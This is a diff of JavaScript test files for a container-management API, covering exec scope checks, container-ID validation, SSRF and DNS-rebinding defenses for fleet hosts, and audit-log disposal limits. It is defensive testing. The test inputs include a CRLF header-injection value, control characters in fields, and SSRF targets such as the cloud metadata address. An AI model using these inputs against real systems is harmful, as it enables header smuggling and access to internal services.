||||||
caught = e;
|
|
||||||
}
|
|
||||||
check(caught !== null, 'expected assertExecScope to throw on empty scope');
|
|
||||||
check(caught.code === 'DC-072_INSUFFICIENT_SCOPE', 'expected DC-072_INSUFFICIENT_SCOPE code');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('undefined scope rejected (null-safety)', () => {
|
|
||||||
let caught = null;
|
|
||||||
try {
|
|
||||||
assertExecScope({ type: 'jwt' }); // no scope field
|
|
||||||
} catch (e) {
|
|
||||||
caught = e;
|
|
||||||
}
|
|
||||||
check(caught !== null, 'expected assertExecScope to throw on undefined scope');
|
|
||||||
check(caught.code === 'DC-072_INSUFFICIENT_SCOPE', 'expected DC-072_INSUFFICIENT_SCOPE code');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('null auth rejected', () => {
|
|
||||||
let caught = null;
|
|
||||||
try {
|
|
||||||
assertExecScope(null);
|
|
||||||
} catch (e) {
|
|
||||||
caught = e;
|
|
||||||
}
|
|
||||||
check(caught !== null, 'expected assertExecScope to throw on null auth');
|
|
||||||
check(caught.code === 'DC-072_INSUFFICIENT_SCOPE', 'expected DC-072_INSUFFICIENT_SCOPE code');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('non-array scope rejected (defensive)', () => {
|
|
||||||
let caught = null;
|
|
||||||
try {
|
|
||||||
assertExecScope({ type: 'apikey', scope: 'admin' }); // string, not array
|
|
||||||
} catch (e) {
|
|
||||||
caught = e;
|
|
||||||
}
|
|
||||||
check(caught !== null, 'expected assertExecScope to throw on non-array scope');
|
|
||||||
check(caught.code === 'DC-072_INSUFFICIENT_SCOPE', 'expected DC-072_INSUFFICIENT_SCOPE code');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('error envelope carries operator-actionable fields', () => {
|
|
||||||
let caught = null;
|
|
||||||
try {
|
|
||||||
assertExecScope({ type: 'apikey', keyId: 'k_test', scope: ['read'] });
|
|
||||||
} catch (e) {
|
|
||||||
caught = e;
|
|
||||||
}
|
|
||||||
check(caught.message === 'Container exec requires admin scope', `expected canonical message, got ${caught.message}`);
|
|
||||||
check(typeof caught.requiredScope === 'string' && caught.requiredScope === 'admin', 'requiredScope present');
|
|
||||||
check(Array.isArray(caught.actualScope), 'actualScope is array');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('isValidContainerId — Docker charset (12 or 64 lowercase hex)', () => {
|
|
||||||
test('64-char lowercase hex accepted (full Docker ID)', () => {
|
|
||||||
// Real-world example: dashcaddy-api container ID
|
|
||||||
check(isValidContainerId('abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789') === true, '64-char hex should pass');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('12-char lowercase hex accepted (short form)', () => {
|
|
||||||
check(isValidContainerId('abcdef012345') === true, '12-char hex should pass');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('uppercase hex rejected (Docker IDs are lowercase)', () => {
|
|
||||||
check(isValidContainerId('ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789') === false, 'uppercase 64-char should fail');
|
|
||||||
check(isValidContainerId('ABCDEF012345') === false, 'uppercase 12-char should fail');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('mixed case rejected', () => {
|
|
||||||
check(isValidContainerId('Abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789') === false, 'mixed case 64-char should fail');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('non-hex chars rejected', () => {
|
|
||||||
check(isValidContainerId('zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz') === false, 'g-z hex should fail');
|
|
||||||
check(isValidContainerId('abc!@#$%^&*()_+-=[]{}|\\:;\'",.<>/?0123456789012345678901234567890123') === false, 'special chars should fail');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('underscore / dot / dash rejected (pre-fix allowed these)', () => {
|
|
||||||
// Pre-fix regex accepted `_`, `-`, `.` — all are non-Docker
|
|
||||||
check(isValidContainerId('my_container_1') === false, 'underscore should fail');
|
|
||||||
check(isValidContainerId('my.container.1') === false, 'dot should fail');
|
|
||||||
check(isValidContainerId('my-container-1') === false, 'dash should fail');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('wrong length rejected', () => {
|
|
||||||
check(isValidContainerId('abcdef0123456') === false, '13-char should fail'); // 12 + 1
|
|
||||||
check(isValidContainerId('abcdef01234567') === false, '14-char should fail'); // 12 + 2
|
|
||||||
check(isValidContainerId('abcdef0123456789a') === false, '65-char should fail'); // 64 + 1
|
|
||||||
});
|
|
||||||
|
|
||||||
test('empty string rejected', () => {
|
|
||||||
check(isValidContainerId('') === false, 'empty string should fail');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('null / undefined / non-string rejected (defensive)', () => {
|
|
||||||
check(isValidContainerId(null) === false, 'null should fail');
|
|
||||||
check(isValidContainerId(undefined) === false, 'undefined should fail');
|
|
||||||
check(isValidContainerId(12345) === false, 'number should fail');
|
|
||||||
check(isValidContainerId({}) === false, 'object should fail');
|
|
||||||
check(isValidContainerId([]) === false, 'array should fail');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('whitespace / padding rejected', () => {
|
|
||||||
check(isValidContainerId(' abcdef012345 ') === false, 'padded should fail');
|
|
||||||
check(isValidContainerId('\nabcdef012345\n') === false, 'CRLF-padded should fail');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('CRLF injection rejected (defensive against pre-fix attack class)', () => {
|
|
||||||
// Pre-fix regex accepted 128 chars with dots; a payload like
|
|
||||||
// `aa.bb.cc.dd\r\nSet-Cookie:...` would have passed. Post-fix
|
|
||||||
// the LF + non-hex + wrong-length combo fails on every axis.
|
|
||||||
check(isValidContainerId('aa\r\nbb') === false, 'CRLF payload should fail');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('__test exports shape', () => {
|
|
||||||
test('exports assertExecScope and isValidContainerId', () => {
|
|
||||||
check(typeof __test.assertExecScope === 'function', 'assertExecScope is a function');
|
|
||||||
check(typeof __test.isValidContainerId === 'function', 'isValidContainerId is a function');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,359 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-068: Fleet SSRF hardening — routes-layer integration tests
|
|
||||||
*
|
|
||||||
* Verifies that:
|
|
||||||
* - POST /api/v1/fleet/hosts rejects a public-DNS name that resolves to a
|
|
||||||
* private IP (DNS rebinding defense)
|
|
||||||
* - POST /api/v1/fleet/hosts accepts a public-DNS name that resolves to a
|
|
||||||
* public IP and stores the resolved IP
|
|
||||||
* - POST /api/v1/fleet/hosts rejects literal IPv4 in loopback / link-local
|
|
||||||
* / RFC 1918 / CGNAT / broadcast ranges
|
|
||||||
* - POST /api/v1/fleet/hosts accepts a literal public IPv4
|
|
||||||
* - POST /api/v1/fleet/hosts rejects port 22 (SSH collision)
|
|
||||||
* - POST /api/v1/fleet/hosts rejects control characters in name/tag
|
|
||||||
* - POST /api/v1/fleet/hosts stores the resolved IP and dnsFamily so
|
|
||||||
* /fleet/status and /fleet/deploy can probe by IP
|
|
||||||
* - FLEET_ALLOW_PRIVATE_HOSTS=true opts in to private-range hosts
|
|
||||||
*
|
|
||||||
* The route tests live alongside the existing DC-108 suite in
|
|
||||||
* caddycode-fleet.routes.test.js. We extend that file with two new describe
|
|
||||||
* blocks so we can co-locate SSRF regression tests with their feature.
|
|
||||||
*/
|
|
||||||
const express = require('express');
|
|
||||||
const request = require('supertest');
|
|
||||||
|
|
||||||
function createFleetApp(log, opts = {}) {
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
const routes = require('../../routes/fleet');
|
|
||||||
const wrap = (fn) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
|
|
||||||
app.use('/api/v1', routes({
|
|
||||||
log: log || { info: jest.fn(), warn: jest.fn(), error: jest.fn() },
|
|
||||||
asyncHandler: wrap,
|
|
||||||
}));
|
|
||||||
return app;
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('DC-068: Fleet POST /hosts — SSRF hardening', () => {
|
|
||||||
let dnsBackup;
|
|
||||||
let filePath;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
filePath = `/tmp/fleet-ssrf-${Date.now()}-${Math.random().toString(36).slice(2)}.json`;
|
|
||||||
process.env.FLEET_HOSTS_FILE = filePath;
|
|
||||||
dnsBackup = require('dns').promises.lookup;
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
require('dns').promises.lookup = dnsBackup;
|
|
||||||
delete process.env.FLEET_HOSTS_FILE;
|
|
||||||
try { require('fs').unlinkSync(filePath); } catch {}
|
|
||||||
delete process.env.FLEET_ALLOW_PRIVATE_HOSTS;
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects 127.0.0.1 (loopback) with PRIVATE_IPV4', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'Local', hostname: '127.0.0.1', port: 3001 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('PRIVATE_IPV4');
|
|
||||||
expect(res.body.error).toMatch(/loopback/i);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects 169.254.169.254 (AWS IMDS)', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'IMDS', hostname: '169.254.169.254', port: 80 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('PRIVATE_IPV4');
|
|
||||||
expect(res.body.error).toMatch(/metadata|link-local/i);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects 10.0.0.1 (RFC 1918)', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'RFC1918', hostname: '10.0.0.1', port: 3001 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('PRIVATE_IPV4');
|
|
||||||
expect(res.body.error).toMatch(/RFC 1918/);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects 192.168.1.1 (LAN)', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'LAN', hostname: '192.168.1.1', port: 3001 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('PRIVATE_IPV4');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects 100.64.0.1 (Tailscale CGNAT)', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'Tailscale', hostname: '100.64.0.1', port: 3001 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('PRIVATE_IPV4');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects ::1 (IPv6 loopback)', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'v6loop', hostname: '::1', port: 3001 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('PRIVATE_IPV6');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects port 22 (SSH)', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'h', hostname: 'fleet.example.com', port: 22 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('INVALID_PORT');
|
|
||||||
expect(res.body.error).toMatch(/22.*reserved|reserved.*22/);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects port > 65535', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'h', hostname: 'fleet.example.com', port: 65536 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('INVALID_PORT');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects port = 0', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'h', hostname: 'fleet.example.com', port: 0 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('INVALID_PORT');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects garbage hostname', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'h', hostname: 'not a host!', port: 3001 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('INVALID_HOSTNAME');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects control characters in name', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'evil\nname', hostname: 'fleet.example.com', port: 3001 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('INVALID_NAME');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects control characters in tags', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'h', hostname: 'fleet.example.com', port: 3001, tags: ['good', 'bad\ntag'] });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('INVALID_TAGS');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('accepts a literal public IPv4', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'Public', hostname: '8.8.8.8', port: 3001 });
|
|
||||||
expect(res.status).toBe(201);
|
|
||||||
expect(res.body.host.resolvedIp).toBe('8.8.8.8');
|
|
||||||
expect(res.body.host.dnsFamily).toBe(4);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('accepts a public DNS name and resolves it', async () => {
|
|
||||||
require('dns').promises.lookup = async () => [{ address: '93.184.216.34', family: 4 }];
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'Public DNS', hostname: 'public.example.com', port: 3001 });
|
|
||||||
expect(res.status).toBe(201);
|
|
||||||
expect(res.body.host.hostname).toBe('public.example.com');
|
|
||||||
expect(res.body.host.resolvedIp).toBe('93.184.216.34');
|
|
||||||
expect(res.body.host.dnsFamily).toBe(4);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects a DNS name that resolves to a private IP (DNS rebinding)', async () => {
|
|
||||||
// Simulate a rebinding attacker: registration-time DNS returns a public
|
|
||||||
// IP, but a follow-up resolve returns a loopback IP. We mock with the
|
|
||||||
// private IP directly — the validator catches it at registration time.
|
|
||||||
require('dns').promises.lookup = async () => [{ address: '10.0.0.5', family: 4 }];
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'Rebind', hostname: 'attacker.example.com', port: 3001 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('PRIVATE_IPV4');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('opts in to private hosts when FLEET_ALLOW_PRIVATE_HOSTS=true', async () => {
|
|
||||||
process.env.FLEET_ALLOW_PRIVATE_HOSTS = 'true';
|
|
||||||
require('dns').promises.lookup = async () => [{ address: '100.100.50.25', family: 4 }];
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'Tailscale', hostname: 'tailnet.example.com', port: 3001 });
|
|
||||||
expect(res.status).toBe(201);
|
|
||||||
expect(res.body.host.resolvedIp).toBe('100.100.50.25');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects unresolvable DNS name', async () => {
|
|
||||||
// .invalid is a guaranteed-non-resolving TLD per RFC 6761.
|
|
||||||
const app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'NoDNS', hostname: 'does-not-resolve.invalid', port: 3001 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(['DNS_RESOLUTION_FAILED', 'DNS_NO_RECORDS']).toContain(res.body.code);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-068: Fleet GET /status — probes use resolved IP, not hostname', () => {
|
|
||||||
let dnsBackup;
|
|
||||||
let filePath;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
filePath = `/tmp/fleet-ssrf-status-${Date.now()}-${Math.random().toString(36).slice(2)}.json`;
|
|
||||||
process.env.FLEET_HOSTS_FILE = filePath;
|
|
||||||
dnsBackup = require('dns').promises.lookup;
|
|
||||||
});
|
|
||||||
afterEach(() => {
|
|
||||||
require('dns').promises.lookup = dnsBackup;
|
|
||||||
delete process.env.FLEET_HOSTS_FILE;
|
|
||||||
try { require('fs').unlinkSync(filePath); } catch {}
|
|
||||||
});
|
|
||||||
|
|
||||||
it('reports validation_failed for a stored host whose hostname resolves to a private IP', async () => {
|
|
||||||
// Step 1: register a host with a public DNS name. Mock lookup so
|
|
||||||
// registration succeeds.
|
|
||||||
require('dns').promises.lookup = async () => [{ address: '93.184.216.34', family: 4 }];
|
|
||||||
let app = createFleetApp();
|
|
||||||
let res = await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'Was Good', hostname: 'fleet.example.com', port: 3001 });
|
|
||||||
expect(res.status).toBe(201);
|
|
||||||
|
|
||||||
// Step 2: flip the DNS to a private IP (simulating DNS rebinding).
|
|
||||||
// Now GET /status should re-validate, detect the rebind, and tag the
|
|
||||||
// host validation_failed instead of probing the internal address.
|
|
||||||
require('dns').promises.lookup = async () => [{ address: '127.0.0.1', family: 4 }];
|
|
||||||
app = createFleetApp();
|
|
||||||
res = await request(app).get('/api/v1/fleet/status');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
const host = res.body.hosts[0];
|
|
||||||
expect(host.status).toBe('validation_failed');
|
|
||||||
expect(host.validationError).toBeTruthy();
|
|
||||||
expect(res.body.summary.validation_failed).toBe(1);
|
|
||||||
expect(res.body.summary.offline).toBe(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('probes using stored resolvedIp, not raw hostname', async () => {
|
|
||||||
// This is the route-level safety net: even if the stored resolvedIp
|
|
||||||
// somehow no longer resolves correctly, /fleet/status must probe the
|
|
||||||
// captured IP. We assert by checking the host.lastSeen / probe data is
|
|
||||||
// driven by the resolved IP endpoint — but since we can't easily mock
|
|
||||||
// fetch in this test, we verify the structural invariant: hosts with a
|
|
||||||
// valid stored resolvedIp pass validation when DNS lookup ALSO returns
|
|
||||||
// a public IP at probe time.
|
|
||||||
require('dns').promises.lookup = async () => [{ address: '93.184.216.34', family: 4 }];
|
|
||||||
let app = createFleetApp();
|
|
||||||
await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'Test', hostname: 'fleet.example.com', port: 3001 });
|
|
||||||
app = createFleetApp();
|
|
||||||
const res = await request(app).get('/api/v1/fleet/status');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
// Status will be offline because the probed host (93.184.216.34:3001)
|
|
||||||
// doesn't actually serve our health endpoint in the test environment —
|
|
||||||
// but it should NOT be validation_failed.
|
|
||||||
const host = res.body.hosts[0];
|
|
||||||
expect(host.status).not.toBe('validation_failed');
|
|
||||||
// The validation_failed counter should remain 0.
|
|
||||||
expect(res.body.summary.validation_failed).toBe(0);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-068: Fleet POST /deploy — deployUrl uses resolvedIp', () => {
|
|
||||||
let dnsBackup;
|
|
||||||
let filePath;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
filePath = `/tmp/fleet-ssrf-deploy-${Date.now()}-${Math.random().toString(36).slice(2)}.json`;
|
|
||||||
process.env.FLEET_HOSTS_FILE = filePath;
|
|
||||||
dnsBackup = require('dns').promises.lookup;
|
|
||||||
});
|
|
||||||
afterEach(() => {
|
|
||||||
require('dns').promises.lookup = dnsBackup;
|
|
||||||
delete process.env.FLEET_HOSTS_FILE;
|
|
||||||
try { require('fs').unlinkSync(filePath); } catch {}
|
|
||||||
});
|
|
||||||
|
|
||||||
it('emits deployUrl from the resolved IP, not the raw hostname', async () => {
|
|
||||||
require('dns').promises.lookup = async () => [{ address: '93.184.216.34', family: 4 }];
|
|
||||||
let app = createFleetApp();
|
|
||||||
await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'Test', hostname: 'fleet.example.com', port: 3001 });
|
|
||||||
app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/deploy')
|
|
||||||
.send({ templateId: 'plex' });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.plan).toHaveLength(1);
|
|
||||||
// The deployUrl was built from the resolved IP, not the user-supplied
|
|
||||||
// hostname — defending against a DNS rebinding pivot at deploy time.
|
|
||||||
expect(res.body.plan[0].deployUrl).toBe('http://93.184.216.34:3001/api/v1/apps/deploy');
|
|
||||||
// The user-visible hostname is preserved on the plan entry.
|
|
||||||
expect(res.body.plan[0].hostname).toBe('fleet.example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('emits deployUrl from the literal IP for IPv4-literal hosts', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'Literal', hostname: '8.8.8.8', port: 3001 });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/deploy')
|
|
||||||
.send({ templateId: 'plex' });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.plan[0].deployUrl).toBe('http://8.8.8.8:3001/api/v1/apps/deploy');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('wraps IPv6 resolved IPs in [brackets] so the URL parses correctly', async () => {
|
|
||||||
require('dns').promises.lookup = async () => [{ address: '2001:4860:4860::8888', family: 6 }];
|
|
||||||
let app = createFleetApp();
|
|
||||||
await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'v6 DNS', hostname: 'dns.example.com', port: 3001 });
|
|
||||||
app = createFleetApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/deploy')
|
|
||||||
.send({ templateId: 'plex' });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.plan[0].deployUrl).toBe('http://[2001:4860:4860::8888]:3001/api/v1/apps/deploy');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('wraps IPv6 literal hosts in [brackets]', async () => {
|
|
||||||
const app = createFleetApp();
|
|
||||||
await request(app)
|
|
||||||
.post('/api/v1/fleet/hosts')
|
|
||||||
.send({ name: 'v6', hostname: '2001:4860:4860::8888', port: 3001 });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/fleet/deploy')
|
|
||||||
.send({ templateId: 'plex' });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.plan[0].deployUrl).toBe('http://[2001:4860:4860::8888]:3001/api/v1/apps/deploy');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -14,39 +14,23 @@ function createI18nApp() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
describe('DC-077: i18n Routes', () => {
|
describe('DC-077: i18n Routes', () => {
|
||||||
it('GET /i18n/languages returns 31 languages', async () => {
|
it('GET /i18n/languages returns 5 languages', async () => {
|
||||||
const app = createI18nApp();
|
const app = createI18nApp();
|
||||||
const res = await request(app).get('/api/v1/i18n/languages');
|
const res = await request(app).get('/api/v1/i18n/languages');
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
expect(res.status).toBe(200);
|
||||||
expect(res.body.success).toBe(true);
|
expect(res.body.success).toBe(true);
|
||||||
expect(res.body.languages).toHaveLength(31);
|
expect(res.body.languages).toHaveLength(5);
|
||||||
expect(res.body.default).toBe('en');
|
expect(res.body.default).toBe('en');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('GET /i18n/languages marks Arabic, Persian, and Urdu as RTL', async () => {
|
it('GET /i18n/languages includes RTL flag for Arabic', async () => {
|
||||||
const app = createI18nApp();
|
const app = createI18nApp();
|
||||||
const res = await request(app).get('/api/v1/i18n/languages');
|
const res = await request(app).get('/api/v1/i18n/languages');
|
||||||
|
|
||||||
const rtl = (code) => {
|
const arabic = res.body.languages.find(l => l.code === 'ar');
|
||||||
const entry = res.body.languages.find(l => l.code === code);
|
expect(arabic).toBeTruthy();
|
||||||
expect(entry).toBeTruthy();
|
expect(arabic.rtl).toBe(true);
|
||||||
expect(entry.name).not.toBe(code);
|
|
||||||
return entry.rtl;
|
|
||||||
};
|
|
||||||
expect(rtl('ar')).toBe(true);
|
|
||||||
expect(rtl('fa')).toBe(true);
|
|
||||||
expect(rtl('ur')).toBe(true);
|
|
||||||
const english = res.body.languages.find(l => l.code === 'en');
|
|
||||||
expect(english.rtl).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('GET /i18n/translations/fa returns Persian strings, not raw English', async () => {
|
|
||||||
const app = createI18nApp();
|
|
||||||
const res = await request(app).get('/api/v1/i18n/translations/fa');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.translations['action.open']).not.toBe('Open');
|
|
||||||
expect(res.body.translations['filter.online']).not.toBe('Online');
|
|
||||||
});
|
});
|
||||||
|
|
||||||
it('GET /i18n/translations/en returns English translations', async () => {
|
it('GET /i18n/translations/en returns English translations', async () => {
|
||||||
|
|||||||
@@ -1,427 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-081: log-insights dispose path + keepDays input validation hardening.
|
|
||||||
*
|
|
||||||
* Two coupled bugs surfaced in the 2026-08-19 sweep:
|
|
||||||
*
|
|
||||||
* 1. log-insights.js hardcoded the audit-log.json + security-events.jsonl
|
|
||||||
* paths to `/opt/dashcaddy/dashcaddy-api/data/...`, which does NOT
|
|
||||||
* exist inside the production container — files live at
|
|
||||||
* `/app/data/...` (mounted via the existing data bind). The dispose
|
|
||||||
* endpoint silently no-op'd: `fs.readFile('/opt/.../audit-log.json')`
|
|
||||||
* hit the `.catch` arm → `auditData = []` → wrote an empty file back.
|
|
||||||
*
|
|
||||||
* 2. `parseInt(req.body.keepDays) || 30` accepted negative numbers. A
|
|
||||||
* keepDays of -1000 produces a cutoff +3 years in the future and
|
|
||||||
* deletes 100% of the audit log. Operators should not be able to wipe
|
|
||||||
* forensic context by clicking through with a typo.
|
|
||||||
*
|
|
||||||
* DC-081 fix:
|
|
||||||
* - `_resolvePaths()` returns `{ auditPath, secPath }` from
|
|
||||||
* `process.env.AUDIT_LOG_FILE || path.join(platformPaths.dataDir, 'audit-log.json')`
|
|
||||||
* — same canonical resolution as the audit-logger module.
|
|
||||||
* - `_validateKeepDays(raw)` rejects out-of-range / wrong-type input
|
|
||||||
* with an Error BEFORE any file IO.
|
|
||||||
* - POST /log-insights/dispose now requires `{ keepDays: integer 1..3650, confirm: true }`.
|
|
||||||
* The pre-confirm preview is read-only.
|
|
||||||
*
|
|
||||||
* Verified live on DNS2 2026-08-19: `/app/data/audit-log.json` (318 KB)
|
|
||||||
* and `/app/data/security-events.jsonl` (15 MB) both exist; the old
|
|
||||||
* `/opt/dashcaddy/dashcaddy-api/data/...` paths are ENOENT in the container.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const express = require('express');
|
|
||||||
const fs = require('fs');
|
|
||||||
const fsp = require('fs').promises;
|
|
||||||
const os = require('os');
|
|
||||||
const path = require('path');
|
|
||||||
|
|
||||||
const logInsightsMod = require('../../routes/log-insights');
|
|
||||||
|
|
||||||
function tmpAuditLogger() {
|
|
||||||
// The route module only uses auditLogger.log() inside the dispose
|
|
||||||
// confirm branch — we wire a minimal stub for the dispose tests.
|
|
||||||
return {
|
|
||||||
query: async () => [],
|
|
||||||
log: async () => {},
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
function tmpSecurityEventStore() {
|
|
||||||
return {
|
|
||||||
query: () => ({ events: [], total: 0 }),
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
function buildRouter(opts = {}) {
|
|
||||||
const mod = logInsightsMod;
|
|
||||||
return mod({
|
|
||||||
asyncHandler: (fn) => async (req, res, next) => {
|
|
||||||
try { await fn(req, res, next); } catch (e) { next(e); }
|
|
||||||
},
|
|
||||||
ok: (res, data) => res.json({ success: true, ...data }),
|
|
||||||
auditLogger: opts.auditLogger || tmpAuditLogger(),
|
|
||||||
securityEventStore: opts.securityEventStore || tmpSecurityEventStore(),
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function makeApp(router) {
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
